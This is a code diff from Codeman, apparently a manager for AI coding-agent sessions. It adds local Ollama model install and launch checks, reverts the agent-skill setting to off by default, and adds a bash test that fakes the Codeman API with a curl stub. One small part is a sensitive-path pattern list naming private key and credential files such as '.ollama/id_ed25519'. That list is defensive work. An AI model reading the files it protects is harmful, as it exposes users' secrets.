* parent is a link). Both were silent: `agentSkillEnabled` is on (the default since
* 1.50.0), nothing appears in the case, and there is nowhere to look for why. The ordinary outcomes
* parent is a link). Both were silent: the user flips `agentSkillEnabled` on, nothing
* appears in the case, and there is nowhere to look for why. The ordinary outcomes
* ('installed'/'refreshed'/'unchanged') stay unlogged since they would print on every
* single session create.
*
@@ -1003,7 +1004,7 @@ async function injectAgentSkill(casePath: string, dir: AgentSkillDir): Promise<v
);
} else if (result === 'symlink') {
console.warn(
`[agent-skill] not injected: ${skillDir}, its parent or its reference folder is a symlink, refusing to write through it. Replace it with a real directory to let Codeman install the skill.`
`[agent-skill] not injected: ${skillDir} (or its parent) is a symlink, refusing to write through it. Replace it with a real directory to let Codeman install the skill.`
);
}
} catch (err: unknown) {
@@ -1783,6 +1784,11 @@ export function registerSessionRoutes(
if (!endpoint) {
return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
}
// The model Codeman runs on this Mac: only while its own runtime is up, and only the model
// that was installed, with the digest stored then (undefined for every other endpoint).
// Before anything is written or restarted.
const localModelRefusal = await getLocalModelService().launchRefusalMessage(endpoint.id, body.modelId);
if (localModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, localModelRefusal);
// Discovery's per-model figure wins; the endpoint's user-set default covers models
// whose size discovery could not determine (a gateway that states none, say). With
// neither, the existing "no override, CLI assumes its own default" behaviour stands.
@@ -4772,6 +4778,11 @@ export function registerSessionRoutes(
const cmHosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
const cmEndpoint = cmHosts.find((h) => h.id === customModel.endpointId);
if (!cmEndpoint) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
// See the dedicated route: the model Codeman runs on this Mac is launched only while its
// own runtime is up and its digest is the one stored at install time. Before any
// confirmation is asked for and before a session exists.
const cmLocalModelRefusal = await getLocalModelService().launchRefusalMessage(cmEndpoint.id, customModel.modelId);
if (cmLocalModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cmLocalModelRefusal);
// Per-model discovery figure first, user-set endpoint default second, nothing third
// (see the dedicated route's own comment above).
const cmContextLength = resolveCustomModelContextLength(cmEndpoint, customModel.modelId);
+42 -7
View File
@@ -1471,13 +1471,11 @@ export const SettingsUpdateSchema = z
ultracodeFloatingWindows: z.boolean().optional(),
imageWatcherEnabled: z.boolean().optional(),
/**
* Inject the Codeman agent skill (`skills/codeman`) into each new session's case, in
* the directory its CLI scans for skills (`capabilities.agentSkillDir`), so an agent
* inside the session can drive the API (see docs/agent-control-plan.md §2). SYNCED,
* default ON since 1.50.0: an absent key is on, only an explicit false is off, and a
* false stored by 1.49.0 or earlier is switched on once at the first 1.50.0 start
* (agent-skill-default-migration.ts). Injection is add-only at create; a marker keeps
* user-authored copies untouched.
* Inject the Codeman agent skill (`skills/codeman`) into `<case>/.claude/skills/`
* on Claude session create, so an agent inside the session can drive the API
* (see docs/agent-control-plan.md §2). SYNCED, default OFF: every skill's
* name+description costs context on every turn, so it is opt-in. Injection is
* add-only at create; a marker keeps user-authored copies untouched.
*/
agentSkillEnabled: z.boolean().optional(),
/**
@@ -2468,6 +2466,43 @@ export const CustomModelHostSchema = z.object({
defaultContextLength: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS).optional(),
});
// ---------- Local model install (src/web/routes/local-model-routes.ts) ----------
/**
* A model id as the local model catalogue writes it: `name:tag`, lowercase, no slash. The
* same pattern as `LOCAL_MODEL_ID_PATTERN` in config/local-model-catalog.ts, repeated here as
* a request-shape check: without a slash an id can never name another registry host. The
* real gate is the route's own lookup of the id in what the server offers.
*/
const localModelId = z
.string()
.max(200)
.regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id');
/** POST /api/local-model/install: the row the person chose and the size they confirmed. */
export const LocalModelInstallSchema = z
.object({
modelId: localModelId,
cli: z
.string()
.max(64)
.regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'),
context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS),
acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER),
})
.strict();
/** POST /api/local-model/resume. The body may be empty. */
export const LocalModelResumeSchema = z.object({ newPort: z.boolean().optional() }).strict();
/** POST /api/local-model/runtime. */
export const LocalModelRuntimeSchema = z
.object({ action: z.enum(['start', 'stop']), newPort: z.boolean().optional() })
.strict();
/** DELETE /api/local-model. The body may be empty. */
export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict();
/**
* A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` —
* duplicated rather than imported, since the REAL safety boundary for anything built from
+5
View File
@@ -113,6 +113,11 @@ const SENSITIVE_PATTERNS: RegExp[] = [
/\/\.codeman[^/]*\/webhook\.json$/,
/\/\.codeman[^/]*\/custom-model-hosts\.json$/,
/\/\.codeman[^/]*\/custom-model-configs\//,
// The local model runtime (src/local-model/) is started with a private HOME inside the data
// dir and makes a key pair for itself there (`home/.ollama/id_ed25519`). A runtime the user
// runs on their own keeps the same key under their real home.
/\/\.codeman[^/]*\/local-model\/home\//,
/\/\.ollama\/id_ed25519$/,
// Config backups are dated COPIES of the files above (users.json and settings.json
// included), which the name-anchored patterns do not match. A custom
// `configBackupDir` is outside what a pattern here can name.
+32 -16
View File
@@ -146,6 +146,7 @@ import { probeLocalPaths, readClaudeEditSources, resolveClaudeTranscript } from
import { remoteLocateClaudeTranscript, remoteProbePaths, remoteReadClaudeEditSources } from '../remote-files.js';
import { remoteTmuxLocation } from '../tmux-manager.js';
import { stopDeepSeekWeb } from '../deepseek-web-server.js';
import { getLocalModelService } from '../local-model/install-job.js';
import {
wireRespawnListeners,
setupTimedRespawn,
@@ -195,7 +196,6 @@ import { resolveTerminalHistoryConfig } from '../config/terminal-history.js';
import { SseEvent } from './sse-events.js';
import { MAX_ROUTE_PARAM_LENGTH } from './route-helpers.js';
import { mutateSettingsFile } from './settings-writer.js';
import { migrateAgentSkillDefault } from './agent-skill-default-migration.js';
import { getLatestPlanUsage, setLatestCodexPlanUsage, setLatestCopilotPlanUsage } from './plan-usage-latest.js';
import { telemetrySignature } from '../usage-telemetry.js';
import { readCodexPlanUsage, resolveCodexBinaryPath } from '../utils/codex-cli-resolver.js';
@@ -265,6 +265,7 @@ import {
pruneIdleLlamaSwapLogTails,
tryWebviewRefererFallback,
registerCliRegistryRoutes,
registerLocalModelRoutes,
} from './routes/index.js';
import { isLostWebviewFrameNavigation } from './webview-proxy.js';
import { CronService } from '../cron/cron-service.js';
@@ -1418,6 +1419,7 @@ export class WebServer extends EventEmitter {
registerDoctorRoutes(this.app);
registerCustomModelRoutes(this.app);
registerCliRegistryRoutes(this.app);
registerLocalModelRoutes(this.app, ctx);
// Cron: build the service from the same context, recompute
// due times for any persisted jobs, then expose it to its routes.
@@ -2192,6 +2194,17 @@ export class WebServer extends EventEmitter {
// First keep-warm evaluation: publishes the effective opt-in for the Session Options
// readout even before any cache report arrives.
void this.keepWarmService.schedule(session.id);
// Before every start of a NEW agent process the session asks this (a fresh pane, the
// respawn of a dead one, a restart in place; never an attach to an agent that runs).
// The model Codeman runs on this Mac is the one endpoint with something to say: no agent
// is started on it while its runtime is down or its model is not the one that was
// installed. Every other session, and every other endpoint, is answered `undefined`.
// Set on every call, above the idempotency return: it holds no state of its own.
session.setLaunchGuard(async () => {
const selection = session.customModel;
if (!selection) return undefined;
return getLocalModelService().launchRefusalMessage(selection.endpointId, selection.modelId);
});
// Idempotent: the wiring exit handler detaches ALL listeners on every PTY exit
// (removeSessionListenerRefs), so the re-attach routes (/interactive,
// /interactive-respawn, /shell) call this again to restore observability
@@ -2451,15 +2464,11 @@ export class WebServer extends EventEmitter {
return resolveTerminalHistoryConfig(settings);
}
// Whether the Codeman agent skill is injected into a session's workspace on create
// (synced `agentSkillEnabled` setting; docs/agent-control-plan.md §2). Default ON
// since 1.50.0, like `workspaceHooksEnabled` below: an absent key means a user who
// has never touched the switch, and only an explicit false turns it off. The copy
// ignores itself in git (`.gitignore` of `*`, see installAgentSkillInto), so the
// default leaves a user's `git status` clean.
// Whether the Codeman agent skill is injected into cases on Claude session create
// (synced `agentSkillEnabled` setting, default OFF; docs/agent-control-plan.md §2).
private async getAgentSkillEnabled(): Promise<boolean> {
const settings = await this.readSettings();
return settings.agentSkillEnabled !== false;
return settings.agentSkillEnabled === true;
}
// Whether pending agent-inbox mail is snapshotted to disk (synced
@@ -3402,14 +3411,6 @@ export class WebServer extends EventEmitter {
reconcileUpdateOnBoot();
}
// One-time, once per data dir: a stored `agentSkillEnabled: false` written by the switch's
// old default (up to 1.49.0) becomes true, so the 1.50.0 default reaches installs that ever
// saved App Settings (agent-skill-default-migration.ts). Before the restore below reads
// settings (2 s cache) and before listen, so no session create can see the old value.
if (!this.testMode && (await migrateAgentSkillDefault()) === 'switched-on') {
this._settingsCache = null;
}
// Restore mux sessions BEFORE accepting connections
// This prevents race conditions where clients connect before state is ready
// CRITICAL: Skip in test mode to prevent tests from picking up user sessions
@@ -3452,6 +3453,14 @@ export class WebServer extends EventEmitter {
}
}
// The model Codeman runs on this Mac (src/local-model/): a job a restart interrupted comes
// back paused and waits for a click, and an installed runtime that was not stopped is
// started again (an own orphan on its port is adopted or replaced). Off the startup path:
// boot() never throws, and nothing waits for a runtime to answer. Not in tests.
if (!this.testMode) {
void getLocalModelService().boot();
}
// Sweep agent preamble caches whose sessions are gone (see
// pruneAgentSessionPreambles). Once per boot, after restore, so every session this
// instance owns is in the keep set. Best-effort and off the startup critical path.
@@ -4601,6 +4610,13 @@ export class WebServer extends EventEmitter {
// got wrong once.
void stopDeepSeekWeb();
// The local model runtime is a non-detached child, but a child is not ended by its
// parent's exit: it gets SIGTERM here, and an install job in flight is interrupted (the
// next start reads it as paused). An orphan a hard kill leaves is adopted at the next boot.
if (!this.testMode) {
void getLocalModelService().shutdown();
}
// The header's GPU / CPU clock sampler is a Windows child process under WSL, and its idle sweep a timer.
stopHostSensors();
-211
View File
@@ -1,211 +0,0 @@
/**
* @fileoverview The one-time boot migration that lets the 1.50.0 agent skill default reach
* installs that saved App Settings before it (src/web/agent-skill-default-migration.ts).
*
* What is pinned, and why it matters:
* - An absent key, a stored `true` or no settings.json at all: settings.json is not written
* (byte-identical, odd formatting kept) and the marker is set.
* - A stored `false` (what every 1.49 save wrote, chosen or not) becomes `true`, every other key
* kept, exactly once: the log line prints once, and a second start reports `already-done`
* without reading the file.
* - An off set AFTER the migration stays off: through the real `PUT /api/settings` (what the
* page's Save sends), then a second start. The PUT neither writes nor drops the marker, and
* `GET /api/settings` never returns it, so the page cannot hold it to send it back.
* - A settings.json that does not parse is left byte-identical, no marker is written, nothing
* throws, and the next start (after the fix) does the migration.
* - A marker that cannot be checked switches nothing on (a deliberate off must not be cleared
* twice).
* - The marker is not a config-backup file, and `WebServer.start()` runs the migration before
* its first settings read and before it listens (source wiring guard: the boot call is skipped
* in test mode, like the other boot-time writes).
*
* The page's side (a device blob holding the old `false`) is pinned in
* test/agent-skill-setting-ui.test.ts.
*
* Port: 0 (one WebServer for the PUT/GET cases).
*/
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dirname, join, resolve } from 'node:path';
import { WebServer } from '../src/web/server.js';
import { TmuxManager } from '../src/tmux-manager.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import { dataPath } from '../src/config/instance.js';
import { CONFIG_BACKUP_FILES } from '../src/config-backup.js';
import {
AGENT_SKILL_DEFAULT_MARKER,
AGENT_SKILL_DEFAULT_MIGRATED_LOG,
migrateAgentSkillDefault,
} from '../src/web/agent-skill-default-migration.js';
vi.spyOn(TmuxManager, 'isTmuxAvailable').mockReturnValue(true);
const MARKER = dataPath(AGENT_SKILL_DEFAULT_MARKER);
/** Written with a formatting no writer of ours produces, so any rewrite shows in the bytes. */
const seedRaw = (text: string) => writeFileSync(SETTINGS_PATH, text);
const seed = (value: unknown) => seedRaw(JSON.stringify(value));
const raw = () => readFileSync(SETTINGS_PATH, 'utf-8');
const stored = () => JSON.parse(raw()) as Record<string, unknown>;
const marker = () => JSON.parse(readFileSync(MARKER, 'utf-8')) as { migratedAt: string; switchedOn: boolean };
/** The bytes of a torn settings.json (test/settings-json-write-serialization.test.ts). */
const TORN = '{\n "agentSkillEnabled": false\n}' + 'rt-1761000000000"\n}';
let logSpy: ReturnType<typeof vi.spyOn>;
let warnSpy: ReturnType<typeof vi.spyOn>;
const migratedLogs = () => logSpy.mock.calls.filter(([line]) => line === AGENT_SKILL_DEFAULT_MIGRATED_LOG).length;
beforeEach(() => {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
rmSync(SETTINGS_PATH, { force: true });
rmSync(MARKER, { force: true });
logSpy = vi.spyOn(console, 'log');
warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined);
});
afterEach(() => {
logSpy.mockRestore();
warnSpy.mockRestore();
});
describe('nothing to switch on', () => {
it('an absent key: settings.json is not written, the marker is set', async () => {
seed({ lastUsedCase: 'demo' });
const before = raw();
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
expect(raw()).toBe(before);
expect(marker()).toMatchObject({ switchedOn: false });
expect(migratedLogs()).toBe(0);
});
it('no settings.json at all: none is created, the marker is set', async () => {
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
expect(existsSync(SETTINGS_PATH)).toBe(false);
expect(marker()).toMatchObject({ switchedOn: false });
});
it('a stored true is left untouched', async () => {
seed({ agentSkillEnabled: true, caseOrder: ['a'] });
const before = raw();
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
expect(raw()).toBe(before);
expect(marker()).toMatchObject({ switchedOn: false });
});
});
describe('a stored false from before 1.50.0', () => {
it('is switched on once, every other key kept, with one log line', async () => {
seed({ agentSkillEnabled: false, lastUsedCase: 'demo', nice: { enabled: true, niceValue: 5 } });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
expect(stored()).toEqual({ agentSkillEnabled: true, lastUsedCase: 'demo', nice: { enabled: true, niceValue: 5 } });
expect(marker()).toMatchObject({ switchedOn: true });
expect(Number.isNaN(Date.parse(marker().migratedAt))).toBe(false);
expect(migratedLogs()).toBe(1);
// A second start finds the marker and reads nothing.
const after = raw();
expect(await migrateAgentSkillDefault()).toBe('already-done');
expect(raw()).toBe(after);
expect(migratedLogs()).toBe(1);
});
it('a false written by hand after the migration is never switched on again', async () => {
seed({ agentSkillEnabled: false });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
seed({ agentSkillEnabled: false });
expect(await migrateAgentSkillDefault()).toBe('already-done');
expect(stored()).toEqual({ agentSkillEnabled: false });
});
});
describe('a settings.json that does not parse', () => {
it('is left alone, writes no marker, does not throw, and the next start after the fix migrates', async () => {
seedRaw(TORN);
expect(await migrateAgentSkillDefault()).toBe('refused');
expect(raw()).toBe(TORN);
expect(existsSync(MARKER)).toBe(false);
expect(
warnSpy.mock.calls.some(([line]) => String(line).startsWith('[agent-skill] default migration skipped'))
).toBe(true);
// The user repairs the file (or restores a backup): the migration has not run yet, so it runs now.
seed({ agentSkillEnabled: false });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
expect(stored()).toEqual({ agentSkillEnabled: true });
});
});
describe('a marker that cannot be checked', () => {
it('switches nothing on and writes no marker', async () => {
seed({ agentSkillEnabled: false });
// A path below a regular file: lstat answers ENOTDIR, not ENOENT.
expect(await migrateAgentSkillDefault(join(SETTINGS_PATH, 'marker.json'))).toBe('refused');
expect(stored()).toEqual({ agentSkillEnabled: false });
expect(existsSync(MARKER)).toBe(false);
});
});
describe('with the page and the server (port 0)', () => {
let server: WebServer;
const url = (p: string) => `http://localhost:${server.boundPort}${p}`;
beforeAll(async () => {
server = new WebServer(0, false, true);
await server.start();
}, 30000);
afterAll(async () => {
await server?.stop();
}, 30000);
it('an off saved through PUT /api/settings after the migration stays off at the next start, and the PUT leaves the marker alone', async () => {
seed({ agentSkillEnabled: false, lastUsedCase: 'demo' });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
const markerBytes = readFileSync(MARKER, 'utf-8');
// What the page sends when the user turns the switch off (plus another synced key).
const res = await fetch(url('/api/settings'), {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ agentSkillEnabled: false, autoNameSessions: true }),
});
expect(res.status).toBe(200);
expect(stored()).toEqual({ agentSkillEnabled: false, lastUsedCase: 'demo', autoNameSessions: true });
expect(readFileSync(MARKER, 'utf-8')).toBe(markerBytes);
expect(await migrateAgentSkillDefault()).toBe('already-done');
expect(stored().agentSkillEnabled).toBe(false);
});
it('GET /api/settings never carries the marker, so the page cannot hold or send it', async () => {
seed({ agentSkillEnabled: false });
await migrateAgentSkillDefault();
const res = await fetch(url('/api/settings'));
const body = (await res.json()) as Record<string, unknown>;
const data = (body.success === true ? body.data : body) as Record<string, unknown>;
expect(data).toEqual({ agentSkillEnabled: true });
});
});
describe('placement', () => {
it('the marker is not a config-backup file, so a restore never re-arms or drops it', () => {
expect(CONFIG_BACKUP_FILES as readonly string[]).not.toContain(AGENT_SKILL_DEFAULT_MARKER);
});
it('WebServer.start() runs it before its first settings read, the restore and listen, and drops the settings cache', () => {
const source = readFileSync(resolve(import.meta.dirname, '../src/web/server.ts'), 'utf8');
const start = source.slice(source.indexOf(' async start(): Promise<void> {'));
const call = start.indexOf('await migrateAgentSkillDefault()');
expect(call).toBeGreaterThan(0);
for (const later of [
'await this.getAgentInboxPersistEnabled()',
'await this.restoreMuxSessions()',
'await this.app.listen(',
]) {
expect(start.indexOf(later), later).toBeGreaterThan(call);
}
expect(start.slice(call, call + 200)).toContain('this._settingsCache = null;');
});
});
+650
View File
@@ -0,0 +1,650 @@
/**
* @fileoverview The codeman skill's local model helpers: `local_model`, the `local` worker kind
* of `spawn_worker`, and `sendmark`.
*
* Runs the REAL `skills/codeman/preamble.sh` in bash with `CURL` replaced by a stub that plays a
* fake Codeman: it records every request (method, route, query, body) in order and answers from
* files the test wrote, one per route and optionally one per call of that route. So these check
* what the functions put on the wire and what they make of each answer, never a copy of their
* logic, and nothing here talks to a real server.
*
* Port: N/A (no server; the stub answers every request).
*/
import { afterEach, describe, expect, it } from 'vitest';
import { execFileSync, spawnSync } from 'node:child_process';
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
const PREAMBLE = join(__dirname, '..', 'skills', 'codeman', 'preamble.sh');
const API = 'http://127.0.0.1:9';
const SELF = 'caller-session-0000';
const SID = 'worker-local-0001';
// The preamble builds every request body with jq.
let hasJq = true;
try {
execFileSync('jq', ['--version'], { stdio: 'ignore' });
} catch {
hasJq = false;
}
/**
* The fake Codeman. Each call is appended to $CALLS as one JSON line, then answered from
* $ANSWERS/<route>.<n> (the n-th call of that route) or $ANSWERS/<route>. `<file>.code` is the
* HTTP status `-w` reports (default 200) and `<file>.delay` seconds to sleep first. A wait-output
* for `DONE_<token>` writes $WD/codeman-answer-<token>.md first when $ANSWER_TEXT is set, or a
* symlink to $ANSWER_SYMLINK, the way a worker would before printing its marker; with
* $ANSWER_APPEND it appends that line on every such call, a worker still writing its answer.
*
* Written without a single dollar-brace, because this is a JS template literal.
*/
const STUB = String.raw`
stub() {
local m=GET u='' d='' q='' w='' route key n f tok
while [ "$#" -gt 0 ]; do
case "$1" in
-X) m=$2; shift ;;
-d|--data-binary) d=$2; shift ;;
--data-urlencode) q="$q&$2"; shift ;;
-w) w=$2; shift ;;
-H|-u|-o) shift ;;
http*) u=$1 ;;
esac
shift
done
route=$(printf '%s' "$u" | sed "s|^$CODEMAN_API_URL/api/v1/||")
case "$route" in
local-model) key=lm-get ;;
local-model/runtime) key=lm-runtime ;;
quick-start) key=quick-start ;;
sessions/*/*) key=$(basename "$route") ;;
sessions/*) if [ "$m" = DELETE ]; then key=delete; else key=session; fi ;;
*) key=other ;;
esac
jq -nc --arg m "$m" --arg k "$key" --arg q "$q" --arg d "$d" '{m:$m,key:$k,q:$q,d:$d}' >> "$CALLS"
n=$(grep -cF "\"key\":\"$key\"" "$CALLS")
f="$ANSWERS/$key.$n"; [ -f "$f" ] || f="$ANSWERS/$key"
if [ "$key" = wait-output ]; then
case "$q" in *match=DONE_*)
tok=$(printf '%s' "$q" | sed -e 's/.*match=DONE_//' -e 's/&.*//')
if [ -n "$ANSWER_TEXT" ]; then printf '%s' "$ANSWER_TEXT" > "$WD/codeman-answer-$tok.md"; fi
if [ -n "$ANSWER_APPEND" ]; then printf '%s\n' "$ANSWER_APPEND" >> "$WD/codeman-answer-$tok.md"; fi
if [ -n "$ANSWER_SYMLINK" ]; then ln -s "$ANSWER_SYMLINK" "$WD/codeman-answer-$tok.md"; fi ;;
esac
fi
[ -f "$f.delay" ] && sleep "$(cat "$f.delay")"
if [ -f "$f" ]; then cat "$f"; else printf '%s' '{"success":false,"error":"no stub answer","errorCode":"NOT_FOUND"}'; fi
if [ -n "$w" ]; then printf '\n%s' "$(cat "$f.code" 2>/dev/null || echo 200)"; fi
}
CURL=(stub)
`;
interface Call {
m: string;
key: string;
q: string;
d: string;
}
interface Run {
rc: number | null;
stdout: string;
stderr: string;
calls: Call[];
wd: string;
}
const dirs: string[] = [];
afterEach(() => {
for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true });
});
/** Sources the preamble, installs the stub, runs `body`, and returns what happened. */
function runSkill(body: string, answers: Record<string, string> = {}, env: Record<string, string> = {}): Run {
const dir = mkdtempSync(join(tmpdir(), 'codeman-local-skill-'));
dirs.push(dir);
const answerDir = join(dir, 'answers');
const wd = join(dir, 'wd');
const calls = join(dir, 'calls');
mkdirSync(answerDir);
mkdirSync(wd);
writeFileSync(calls, '');
for (const [name, content] of Object.entries(answers)) writeFileSync(join(answerDir, name), content);
const res = spawnSync('bash', ['-c', `. "$PREAMBLE" >/dev/null\n${STUB}\n${body}`], {
encoding: 'utf-8',
timeout: 20_000,
env: {
PATH: process.env.PATH,
HOME: process.env.HOME,
PREAMBLE,
CALLS: calls,
ANSWERS: answerDir,
WD: wd,
CODEMAN_API_URL: API,
CODEMAN_SESSION_ID: SELF,
...env,
},
});
const callList = readFileSync(calls, 'utf-8')
.split('\n')
.filter(Boolean)
.map((line) => JSON.parse(line) as Call);
return { rc: res.status, stdout: res.stdout, stderr: res.stderr, calls: callList, wd };
}
/** The `data` of GET /api/local-model, as the server builds it. */
function status(install: Record<string, unknown>, recommendation: Record<string, unknown> = {}): string {
return JSON.stringify({
success: true,
data: {
hardware: { platform: 'darwin' },
recommendation: { verdict: 'ok', headline: { text: 'A model fits.' }, ...recommendation },
catalogUpdated: '2026-11-06',
install: { running: false, actions: [], ...install },
},
});
}
const INSTALLED = {
state: 'installed',
cli: 'opencode',
cliLabel: 'OpenCode',
endpointId: 'local-ollama',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
};
const RUNNING = status({ ...INSTALLED, running: true, actions: ['start-session', 'stop', 'remove'] });
const STOPPED = status({ ...INSTALLED, running: false, actions: ['start', 'remove'] });
const QUICK_START = JSON.stringify({ success: true, data: { sessionId: SID, casePath: '/tmp/summ' } });
const MATCHED = JSON.stringify({ success: true, data: { wait: { matched: true, timedOut: false, ended: false } } });
const NOT_MATCHED = JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true, ended: false } } });
function lastJson(stdout: string): Record<string, unknown> {
const lines = stdout.trim().split('\n');
return JSON.parse(lines[lines.length - 1]) as Record<string, unknown>;
}
describe.skipIf(!hasJq)('preamble local_model', () => {
const cases: Array<{ name: string; body: string; code?: string; rc: number; expect: Record<string, unknown> }> = [
{
name: 'a running model: spawnable now, with the harness, endpoint and model',
body: RUNNING,
rc: 0,
expect: {
spawnable: true,
running: true,
cli: 'opencode',
cliLabel: 'OpenCode',
endpointId: 'local-ollama',
modelId: 'qwen3.6:35b-a3b',
modelLabel: 'Qwen3.6 35B-A3B',
},
},
{
name: 'an installed model whose runtime is stopped: spawnable once started',
body: STOPPED,
rc: 0,
expect: { spawnable: true, running: false, cli: 'opencode' },
},
{
name: 'start offered beside an error (another program holds the port): blocked, with the sentence',
body: status({
...INSTALLED,
actions: ['start', 'remove'],
error: {
code: 'port-in-use',
next: 'other-port',
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
},
}),
rc: 1,
expect: {
spawnable: false,
reason: 'blocked',
errorCode: 'port-in-use',
message: 'Port 11435 is in use by another program.',
},
},
{
name: 'not a Mac',
body: JSON.stringify({
success: true,
data: {
hardware: { platform: 'linux' },
recommendation: { verdict: 'none', reason: 'not-macos', headline: { text: 'x' } },
install: { state: 'idle', running: false, actions: ['install'] },
},
}),
rc: 1,
expect: { spawnable: false, reason: 'not-mac' },
},
{
name: 'nothing installed',
body: status({ state: 'idle', actions: ['install'] }),
rc: 1,
expect: { spawnable: false, reason: 'not-installed' },
},
{
name: 'nothing installed on a Mac that fits none: the reason is the server sentence',
body: status(
{ state: 'idle', actions: ['install'] },
{
verdict: 'none',
reason: 'memory',
headline: { text: 'Nothing fits in {budget} GB.', vars: { budget: '12' } },
}
),
rc: 1,
expect: {
spawnable: false,
reason: 'not-installed',
message: 'No local model is installed. Nothing fits in 12 GB.',
},
},
{
name: 'an install that has not finished',
body: status({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] }),
rc: 1,
expect: { spawnable: false, reason: 'install-unfinished', state: 'paused', step: 'model' },
},
{
name: 'admin only in multi-user mode (403)',
body: JSON.stringify({ success: false, error: 'Admin only in multi-user mode', errorCode: 'FORBIDDEN' }),
code: '403',
rc: 1,
expect: { spawnable: false, reason: 'admin-only' },
},
{
name: 'a Codeman without local model support (404)',
body: JSON.stringify({ message: 'Route GET:/api/local-model not found', error: 'Not Found', statusCode: 404 }),
code: '404',
rc: 1,
expect: { spawnable: false, reason: 'unsupported' },
},
{
name: 'refused credentials (a plain-text 401)',
body: 'Unauthorized',
code: '401',
rc: 1,
expect: { spawnable: false, reason: 'unauthorized' },
},
{
name: 'no answer at all',
body: '',
code: '000',
rc: 1,
expect: { spawnable: false, reason: 'unreachable' },
},
{
name: 'any other failure carries its status and error',
body: JSON.stringify({ success: false, error: 'boom', errorCode: 'INTERNAL_ERROR' }),
code: '500',
rc: 1,
expect: { spawnable: false, reason: 'error', status: '500', message: 'boom' },
},
];
for (const c of cases) {
it(c.name, () => {
const answers: Record<string, string> = { 'lm-get': c.body };
if (c.code) answers['lm-get.code'] = c.code;
const run = runSkill('local_model', answers);
expect(run.rc).toBe(c.rc);
expect(run.stdout.trim().split('\n')).toHaveLength(1);
expect(lastJson(run.stdout)).toMatchObject(c.expect);
// One read-only GET of the alias path, and nothing else.
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual(['GET lm-get']);
});
}
});
describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
it('starts a stopped runtime, then quick-starts the harness on the endpoint and waits for its composer', () => {
const run = runSkill(
'spawn_worker summ local',
{
'lm-get.1': STOPPED,
'lm-runtime': JSON.stringify({ success: true, data: { state: 'installed', running: false } }),
'lm-get.2': RUNNING,
'quick-start': QUICK_START,
'wait-output': MATCHED,
},
// A cloud advisor must never be attached to a worker on the local model.
{ CODEMAN_WORKER_ADVISOR: 'opus' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST lm-runtime',
'GET lm-get',
'POST quick-start',
'GET wait-output',
]);
expect(JSON.parse(run.calls[1].d)).toEqual({ action: 'start' });
expect(JSON.parse(run.calls[3].d)).toEqual({
caseName: 'summ',
mode: 'opencode',
parentSessionId: SELF,
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(run.calls[4].q).toContain('match=┃');
expect(run.calls[4].q).toContain('from=buffer');
});
it('does not touch a runtime that already runs', () => {
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': QUICK_START,
'wait-output': MATCHED,
});
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
});
for (const answer of [
{ requiresContextWarning: true, modelId: 'qwen3.6:35b-a3b', contextLength: 32768, minSafeContextTokens: 40000 },
{ requiresConfirmation: true, currentlyLoadedModel: 'other', affectedSessions: [{ id: 'x', name: 'w9' }] },
]) {
it(`never confirms on anyone's behalf: ${Object.keys(answer)[0]} fails the spawn with empty stdout`, () => {
// The route returns these bare; the server's envelope wraps them as success data.
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': JSON.stringify({ success: true, data: answer }),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/wants a person to confirm/);
expect(run.stderr).toContain(Object.keys(answer)[0]);
// One quick-start, sent without any confirmation flag, and nothing after it.
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start']);
expect(JSON.parse(run.calls[1].d).customModel).toEqual({
endpointId: 'local-ollama',
modelId: 'qwen3.6:35b-a3b',
});
});
}
it('reports a refused launch (the runtime check in quick-start) and spawns nothing', () => {
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': JSON.stringify({
success: false,
error: 'The model on this Mac is not running.',
errorCode: 'OPERATION_FAILED',
}),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
